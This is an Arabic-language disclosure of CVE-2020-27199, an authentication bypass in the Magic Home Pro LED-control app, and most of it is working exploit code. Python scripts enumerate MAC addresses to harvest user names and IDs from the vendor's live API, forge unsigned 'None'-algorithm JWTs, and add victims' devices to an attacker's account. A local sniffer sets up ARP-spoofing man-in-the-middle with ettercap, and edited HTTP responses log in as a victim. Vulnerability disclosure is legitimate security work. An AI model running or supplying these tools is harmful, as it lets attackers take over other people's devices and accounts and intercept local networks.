
CVE-2020-27199

تم العثور على عدة ثغرات أمنية في تطبيق Magic Home Pro للهواتف المحمولة المستخدم للتواصل مع مجموعة إضاءة LED الشريطية JadeHomic. أكثر هذه الثغرات أهمية هي ثغرة تجاوز المصادقة (CVE-2020-27199)، والتي تتيح في النهاية السيطرة الكاملة على مجموعة أجهزة الضحية بأكملها.
magichome-forge.py - أداة تزوير JWT، تستخدم لأتمتة السيطرة على الجهاز
magichome-sniffer.py - مستنشط شبكة محلية يبحث في الشبكة عن الأجهزة المعرضة للخطر. يقوم ببناء قائمة بالأجهزة التي يمكن شن هجمات عليها
magichome-switch.py - يسمح بتشغيل الأجهزة
magichome-takeover.py - حمولة تسمح بالسيطرة الناجحة على حساب المستخدم
Suzhou SmartChip Semiconductor Co.,Ltd
تسمح هذه الثغرة لأي مستخدم مصادق عليه باستخدام مستوى التصريح الحالي الخاص به للاستفسار عن نقاط نهاية ليست جزءًا من منتجاته المسجلة، باستخدام استدعاء API إلى /app/getBindedUserListByMacAddress/ZG001?macAddress=<عنوان ماك>. ينتج عن ذلك استجابة HTTP تشير إلى وجود نقطة النهاية وتعيد اسم المستخدم ومعرف المستخدم الفريد (userUniID) والمعرف الفريد المرتبط (bindedUniID) لنقطة النهاية المرتبطة.
باستخدام الاستفسار أعلاه، يمكن للمهاجم بعد ذلك استخدام طلب POST غير مصرح به إلى API /app/sendCommandBatch/ZG001، باستخدام عنوان الماك الذي تم اكتشافه حديثًا لإرسال الأوامر إلى نقطة النهاية البعيدة باستخدام أوامر hex المتوافقة 71230fa3 و 71240fa4 مما يؤدي إلى التشغيل والإيقاف على التوالي.
بعد اكتمال الاستكشاف الأولي، يمكن أيضًا تزوير JWT باستخدام userID و uniID في بيانات حمولة JWT، مما يؤدي عمليًا إلى خفض مستوى الرمز المميز لاستخدام 'None' كخوارزمية في قسم رأس JWT (ثغرة تجاوز التوقيع). باستخدام هذه الثغرة، يصبح التطبيق عرضة للسيطرة على الجهاز من قبل المهاجم من خلال استدعاء API البعيد إلى /app/shareDevice/ZG001 واستخدام معامل JSON friendUserID لإضافة الجهاز إلى قائمة أجهزة المهاجم، مما يمنح المهاجم السيطرة الكاملة على الجهاز الهدف.
الإسناد:
يصف OUI المعرف الفريد للمنظمة لعناوين MAC المسجلة لمنظمة ما. في حالة JadeHomic، OUI السحري هو C8:2E:47، حيث تتوافق البايتات الثلاث الأولى مع الشركة المصنعة والبايتات الثلاث الثانية تتوافق مع الرقم التسلسلي المعين من قبل الشركة المصنعة. في حالتنا، المعرف الخاص بالشركة المصنعة مسجل باسم Suzhou SmartChip Semiconductor Co., LTD.
يسمح بتجاوز المصادقة على تطبيق Magic Home Pro للهواتف المحمولة وبالتالي السيطرة الكاملة على مجموعة أجهزة المستخدم الضحية بالكامل.
يقوم إثبات المفهوم بالاستكشاف على آخر بايتات ضمن نطاق MAC ويعيد النتائج. يسمح باختبار 'التنفيذ عن بُعد' إذا كنت تشعر بالجرأة.``` import requests import json import os from colorama import init from colorama import Fore, Back, Style import re
'''
global found_macaddresses found_macaddresses = [] global outtahere outtahere = "" q = "q" global token
def turnOn(target, token):
urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71230fa3","macAddress":target}
]
}
data = json.dumps(array)
headersOn = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOn, data=data, headers=headersOn)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def turnOff(target, token):
urlOff = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71240fa4","macAddress":target}
]
}
data = json.dumps(array)
headersOff = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOff, data=data, headers=headersOff)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched Off")
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def lighItUp(target, token):
outtahere = ""
q = "q"
if len(str(target)) < 12:
print (Fore.RED + "[!] Invalid target" + Style.RESET_ALL)
elif re.match('[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}$', target.lower()):
while outtahere.lower() != q.lower():
if outtahere == "0":
turnOn(target, token)
elif outtahere == "1":
turnOff(target, token)
outtahere = input(Fore.BLUE + "ON/OFF/QUIT ? (0/1/Q): " + Style.RESET_ALL)
def Main(): urlAuth = "https://wifij01us.magichue.net/app/login/ZG001"
data = {
"userID":"<Valid Registered Email/Username>",
"password":"<Valid Registered Password>",
"clientID":""
}
headersAuth = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
# First Stage Authenticate
os.system('clear')
print (Fore.WHITE + "[+] Authenticating ...")
response = requests.post(urlAuth, json=data, headers=headersAuth)
resJsonAuth = response.json()
token = (resJsonAuth['token'])
# Second Stage Enumerate
print (Fore.WHITE + "[+] Enumerating ...")
macbase = "C82E475DCE"
macaddress = []
a = ["%02d" % x for x in range(100)]
for num in a:
macaddress.append(macbase+num)
with open('loot.txt', 'w') as f:
for mac in macaddress:
urlEnum = "https://wifij01us.magichue.net/app/getBindedUserListByMacAddress/ZG001"
params = {
"macAddress":mac
}
headersEnum = {
"User-Agent": "Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Content-Type": "application/json; charset=utf-8",
"Accept": "application/json",
"token": token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
response = requests.get(urlEnum, params=params, headers=headersEnum)
resJsonEnum = response.json()
data = (resJsonEnum['data'])
if not data:
pass
elif data:
found_macaddresses.append(mac)
print (Fore.GREEN + "[*] MAC Address Identified: " + Style.RESET_ALL + f"{mac}" + Fore.GREEN + f", User: " + Style.RESET_ALL + f"{(data[0]['userName'])}, " + Fore.GREEN + "Unique ID: " + Style.RESET_ALL + f"{data[0]['userUniID']}, " + Fore.GREEN + "Binded ID: " + Style.RESET_ALL + f"{data[0]['bindedUniID']}")
f.write(Fore.GREEN + "[*] MAC Address Identified: " + Style.RESET_ALL + f"{mac}" + Fore.GREEN + f", User: " + Style.RESET_ALL + f"{(data[0]['userName'])}, " + Fore.GREEN + "Unique ID: " + Style.RESET_ALL + f"{data[0]['userUniID']}, " + Fore.GREEN + "Binded ID: " + Style.RESET_ALL + f"{data[0]['bindedUniID']}\n")
else:
print (Fore.RED + "[-] No results found!")
print(Style.RESET_ALL)
if not found_macaddresses:
print (Fore.RED + "[-] No MAC addresses retrieved")
elif found_macaddresses:
attackboolean = input(Fore.BLUE + "Would you like to Light It Up ? (y/N): " + Style.RESET_ALL)
if (attackboolean.upper() == 'Y'):
target = input(Fore.RED + "Enter a target device mac address: " + Style.RESET_ALL)
lighItUp(target, token)
elif (attackboolean.upper() == 'N'):
print (Fore.CYAN + "Sometimes, belief isn’t about what we can see. It’s about what we can’t."+ Style.RESET_ALL)
else:
print (Fore.CYAN + "The human eye is a wonderful device. With a little effort, it can fail to see even the most glaring injustice." + Style.RESET_ALL)
if name == "main": Main()
#### التعداد

#### تزوير الرمز
##### مزور رمز PoC
- باستخدام **userID** و **uniqID** التي تم الحصول عليها بعد التعداد الناجح. يقوم هذا المزور لرمز PoC بإنشاء JWT جديد موقع ومتجاوز.```
#!/usr/local/bin/python3
import url64
import requests
import json
import sys
import os
from colorama import init
from colorama import Fore, Back, Style
import re
import time
from wsgiref.handlers import format_date_time
from datetime import datetime
from time import mktime
now = datetime.now()
stamp = mktime(now.timetuple())
'''
HTTP/1.1 200
Server: nginx/1.10.3
Content-Type: application/json;charset=UTF-8
Connection: close
"{\"code\":0,\"msg\":\"\",\"data\":{\"webApi\":\"wifij01us.magichue.net/app\",\"webPathOta\":\"http:\/\/wifij01us.magichue.net\/app\/ota\/download\",\"tcpServerController\":\"TCP,8816,ra8816us02.magichue.net\",\"tcpServerBulb\":\"TCP,8815,ra8815us02.magichue.net\",\"tcpServerControllerOld\":\"TCP,8806,mhc8806us.magichue.net\",\"tcpServerBulbOld\":\"TCP,8805,mhb8805us.magichue.net\",\"sslMqttServer\":\"ssl:\/\/192.168.0.112:1883\",\"serverName\":\"Global\",\"serverCode\":\"US\",\"userName\":\"\",\"userEmail\":\"\",\"userUniID\":\"\"},\"token\":\"\"}"
'''
def Usage():
print (f"Usage: {sys.argv[0]} <username> <unique id>")
def Main(user, uniqid):
os.system('clear')
print ("[+] Encoding ...")
print ("[+] Bypass header created!")
print ("HTTP/1.1 200")
print ("Server: nginx/1.10.3")
print ("Date: "+str(format_date_time(stamp))+"")
print ("Content-Type: application/json;charset=UTF-8")
print ("Connection: close\r\n\r\n")
jwt_header = '{"typ": "JsonWebToken","alg": "None"}'
jwt_data = '{"userID": "'+user+'", "uniID": "'+uniqid+'","cdpid": "ZG001","clientID": "","serverCode": "US","expireDate": 1618264850608,"refreshDate": 1613080850608,"loginDate": 1602712850608}'
jwt_headerEncoded = url64.encode(jwt_header.strip())
jwt_dataEncoded = url64.encode(jwt_data.strip())
jwtcombined = (jwt_headerEncoded.strip()+"."+jwt_dataEncoded.strip()+".")
print ("{\"code\":0,\"msg\":\"\",\"data\":{\"webApi\":\"wifij01us.magichue.net/app\",\"webPathOta\":\"http://wifij01us.magichue.net/app/ota/download\",\"tcpServerController\":\"TCP,8816,ra8816us02.magichue.net\",\"tcpServerBulb\":\"TCP,8815,ra8815us02.magichue.net\",\"tcpServerControllerOld\":\"TCP,8806,mhc8806us.magichue.net\",\"tcpServerBulbOld\":\"TCP,8805,mhb8805us.magichue.net\",\"sslMqttServer\":\"ssl:\/\/192.168.0.112:1883\",\"serverName\":\"Global\",\"serverCode\":\"US\",\"userName\":\""+user+"\",\"userEmail\":\""+user+"\",\"userUniID\":\""+uniqid+"\"},\"token\":\""+jwtcombined+"\"}")
if __name__ == "__main__":
if len(sys.argv) < 3:
Usage()
else:
Main(sys.argv[1], sys.argv[2])
#!/usr/local/bin/python3
import url64 import requests import json import sys import os from colorama import init from colorama import Fore, Back, Style import re
def Usage(): print (f"Usage: {sys.argv[0]} ")
def Main():
attacker_email = sys.argv[1]
target_email = sys.argv[2]
target_mac = sys.argv[3]
forged_token = sys.argv[4]
os.system('clear')
print (Fore.WHITE + "[+] Sending Payload ...")
url = "https://wifij01us.magichue.net/app/shareDevice/ZG001"
array = {"friendUserID":attacker_email, "macAddress":target_mac}
data = json.dumps(array)
headers = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":forged_token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
response = requests.post(url, data=data, headers=headers)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Target is now yours ... " + Style.RESET_ALL)
else:
print (Fore.RED + "[-] Failed to take over target !" + Style.RESET_ALL)
if name == "main": if len(sys.argv) < 5: Usage() else: Main()
##### مثال على تبادل طلب/استجابة POST ناجح```
POST Request
POST /app/shareDevice/ZG001 HTTP/1.1
User-Agent: Magic Home/1.5.1(ANDROID,9,en-US)
Accept-Language: en-US
Accept: application/json
token: <forged token, representing the target victim>
Content-Type: application/json; charset=utf-8
Content-Length: 72
Host: wifij01us.magichue.net
Connection: close
Accept-Encoding: gzip, deflate
{"friendUserID":"<attackercontrolled email>","macAddress":"<victim mac address>"}
Response
HTTP/1.1 200
Server: nginx/1.10.3
Date: Tue, 07 Jul 2020 05:31:33 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 31
{"code":0,"msg":"","data":true}
import socket import struct import platform import os import sys import requests import json from colorama import init from colorama import Fore, Back, Style import re import time, subprocess
loot = [] global choice choice = '' global outtahere outtahere = "" q = "q" global macAddress
def scan(): with open('sniffedDevices.txt', 'a+') as f: os.system('clear') print (Fore.GREEN + "+=====================================+"+ Style.RESET_ALL ) print (Fore.GREEN + "| Author: Victor Hanna (@9lyph) |"+ Style.RESET_ALL ) print (Fore.GREEN + "| Description: Magic Home Pro Sniffer |"+ Style.RESET_ALL ) print (Fore.GREEN + "| (CTRL^C to Quit) |"+ Style.RESET_ALL ) print (Fore.GREEN + "+=====================================+"+ Style.RESET_ALL ) print (Fore.WHITE + '[+] Configuring IP Forwarding'+ Style.RESET_ALL ) time.sleep(5) print (Fore.WHITE + '[+] Setting up MiTM'+ Style.RESET_ALL ) time.sleep(2) ipForward = subprocess.Popen('sudo echo 1 > /proc/sys/net/ipv4/ip_forward', shell=True) time.sleep(2) ettercap = subprocess.Popen('sudo ettercap -T -q -i eth0 -M arp /// > /dev/null &', shell=True) time.sleep(2) print (Fore.WHITE + '[+] Searching for Magic Home Device(s)'+ Style.RESET_ALL ) itsthere = [] while (True): conn = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0003)) try: raw_data, addr = conn.recvfrom(65535) dst_mac, src_mac, proto, data = ethernet_frame(raw_data) if 'FF:FF:FF:FF:FF:FF' in dst_mac: # Suppress Broadcast traffic pass elif 'c8:2e:47'.upper() in src_mac: if src_mac in loot: pass else: print (Fore.WHITE + '[+] Device ' + src_mac + ' added to loot !'+ Style.RESET_ALL) loot.append(src_mac) f.write(src_mac + "\n") elif 'c8:2e:47'.upper() in dst_mac: if dst_mac in loot: pass else: print (Fore.WHITE + '[+] Device ' + dst_mac + ' added to loot !'+ Style.RESET_ALL) loot.append(dst_mac) f.write(dst_mac + "\n") else: pass except KeyboardInterrupt: print (Fore.WHITE + "[+] Stopping MiTM"+ Style.RESET_ALL) time.sleep(2) subprocess.Popen.kill(ettercap) print (Fore.WHITE + '[+] Reconfiguring IP Forwarding'+ Style.RESET_ALL) time.sleep(2) os.system('sudo echo 0 > /proc/sys/net/ipv4/ip_forward') menu()
def turnOn(target, token): urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001" array = { "dataCommandItems":[ {"hexData":"71230fa3","macAddress":target} ] }
data = json.dumps(array)
headersOn = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOn, data=data, headers=headersOn)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Fore.WHITE + f"{target}" + Fore.GREEN + " Switched On" + Style.RESET_ALL)
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def turnOff(target, token): urlOff = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
"dataCommandItems":[
{"hexData":"71240fa4","macAddress":target}
]
}
data = json.dumps(array)
headersOff = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"token":token,
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOff, data=data, headers=headersOff)
if response.status_code == 200:
if "true" in response.text:
print (Fore.GREEN + "[*] Endpoint " + Fore.WHITE + f"{target}" + Fore.GREEN + " Switched Off" + Style.RESET_ALL)
else:
print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")
def lighItUp(target, token): outtahere = "" q = "q" if len(str(target)) < 12: print (Fore.RED + "[!] Invalid target" + Style.RESET_ALL) elif re.match('[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}$', target.lower()): print (outtahere.lower()) while outtahere.lower() != q.lower(): if outtahere == "0": turnOn(target, token) elif outtahere == "1": turnOff(target, token) outtahere = input(Fore.GREEN + "ON/OFF/QUIT ? (0/1/Q): " + Style.RESET_ALL) menu()
def attack(): with open('sniffedDevices.txt', 'rb') as f: os.system('clear') print (Fore.GREEN + "+=====================================+"+ Style.RESET_ALL) print (Fore.GREEN + "| Author: Victor Hanna (@9lyph) |"+ Style.RESET_ALL) print (Fore.GREEN + "| Description: Magic Home Pro Sniffer |"+ Style.RESET_ALL) print (Fore.GREEN + "| Attack Device : '1' |"+ Style.RESET_ALL) print (Fore.GREEN + "| Exit to Main Menu: '2' |"+ Style.RESET_ALL) print (Fore.GREEN + "| (CTRL^C to Quit) |"+ Style.RESET_ALL) print (Fore.GREEN + "+=====================================+"+ Style.RESET_ALL) print (Fore.WHITE + "[+] These are you available local targets:"+ Style.RESET_ALL) alreadyDone = [] for target in f.readlines(): macAddresses = ((target).replace(b":", b"")) if macAddresses in alreadyDone: continue else: alreadyDone.append(macAddresses) print (target.replace(b":", b"").decode('utf-8').strip())
choice = int(input ("Choice: "))
if (choice == 1):
macAddress = input("[+] Enter Device MAC (xxxxxxxxxxxx): ")
urlAuth = "https://wifij01us.magichue.net/app/login/ZG001"
data = {
"userID":"<!--Valid Username-->",
"password":"<!--Valid Password-->",
"clientID":""
}
headersAuth = {
"User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
"Accept-Language": "en-US",
"Accept": "application/json",
"Content-Type": "application/json; charset=utf-8",
"Host": "wifij01us.magichue.net",
"Connection": "close",
"Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Authenticating ...")
response = requests.post(urlAuth, json=data, headers=headersAuth)
resJsonAuth = response.json()
token = (resJsonAuth['token'])
lighItUp(macAddress, token)
elif (choice == 2):
menu()
else:
attack()
def ethernet_frame(data): dst_mac, src_mac, proto = struct.unpack('!6s6sH', data[:14]) return get_mac_addr(dst_mac), get_mac_addr(src_mac), socket.htons(proto), data[14:]
def get_mac_addr(bytes_addr): bytes_str = map('{:02x}'.format, bytes_addr) return ':'.join(bytes_str).upper()
def menu(): os.system('clear') while (True):
print (Fore.GREEN + "+=====================================+"+ Style.RESET_ALL)
print (Fore.GREEN + "| Author: Victor Hanna (@9lyph) |"+ Style.RESET_ALL)
print (Fore.GREEN + "| Description: Magic Home Pro Sniffer |"+ Style.RESET_ALL)
print (Fore.GREEN + "| Scan : '1' |"+ Style.RESET_ALL)
print (Fore.GREEN + "| Attack : '2' |"+ Style.RESET_ALL)
print (Fore.GREEN + "| (CTRL^C to Quit) |"+ Style.RESET_ALL)
print (Fore.GREEN + "+=====================================+"+ Style.RESET_ALL)
try:
choice = (input ("Choice: "))
if (int(choice) == 1):
scan()
elif (int(choice) == 2):
attack()
except KeyboardInterrupt:
os.system ('sudo echo 0 > /proc/sys/net/ipv4/ip_forward')
print("\nBye bye !\n")
sys.exit()
if name == 'main': menu()
### تجاوز المصادقة (Magic Home Pro) (CVE-2020-27199)
- من خلال استغلال تزوير رمز JSON المميز مع المعلومات التي تم جمعها، مثل البريد الإلكتروني للضحية ومعرف العميل والمعرف الفريد استنادًا إلى التعداد أعلاه، يمكن تجاوز عملية مصادقة تطبيق الهاتف المحمول عن طريق التلاعب باستجابة HTTP وبالتالي الوصول إلى التطبيق بصفة الضحية.
- يستخدم المهاجم تطبيق Magic Home Pro باستخدام عنوان بريد إلكتروني للضحية وكلمة مرور عشوائية ومعرف العميل
- يمكن للمهاجم بعد ذلك التلاعب باستجابة HTTP باستخدام التفاصيل من الخطوة 1 مما يسمح بتجاوز عملية المصادقة```
Original HTTP Login Request via Magic Home Pro Mobile app
POST /app/login/ZG001 HTTP/1.1
User-Agent: Magic Home/1.5.1(ANDROID,9,en-US)
Accept-Language: en-US
Accept: application/json
token:
Content-Type: application/json; charset=utf-8
Content-Length: 117
Host: wifij01us.magichue.net
Connection: close
Accept-Encoding: gzip, deflate
{"userID":"<victim userID>","password":"<arbitrary password>","clientID":"<arbitrary ClientID>"}
Original HTTP Response
HTTP/1.1 200
Server: nginx/1.10.3
Date: Thu, 08 Oct 2020 00:08:45 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 37
{"code":10033,"msg":"Password error"}
Edited HTTP Response
HTTP/1.1 200
Server: nginx/1.10.3
Date: Mon, 06 Jul 2020 12:32:02 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 907
{"code":0,"msg":"","data":{"webApi":"wifij01us.magichue.net/app","webPathOta":"http://wifij01us.magichue.net/app/ota/download","tcpServerController":"TCP,8816,ra8816us02.magichue.net","tcpServerBulb":"TCP,8815,ra8815us02.magichue.net","tcpServerControllerOld":"TCP,8806,mhc8806us.magichue.net","tcpServerBulbOld":"TCP,8805,mhb8805us.magichue.net","sslMqttServer":"ssl://192.168.0.112:1883","serverName":"Global","serverCode":"US","userName":"<victim userID>","userEmail":"<victim email>","userUniID":"<uniID gleaned from enumeration>"},"token":"<forged JWT based on gleaned data from API call>"}
Victor Hanna of Exploit Security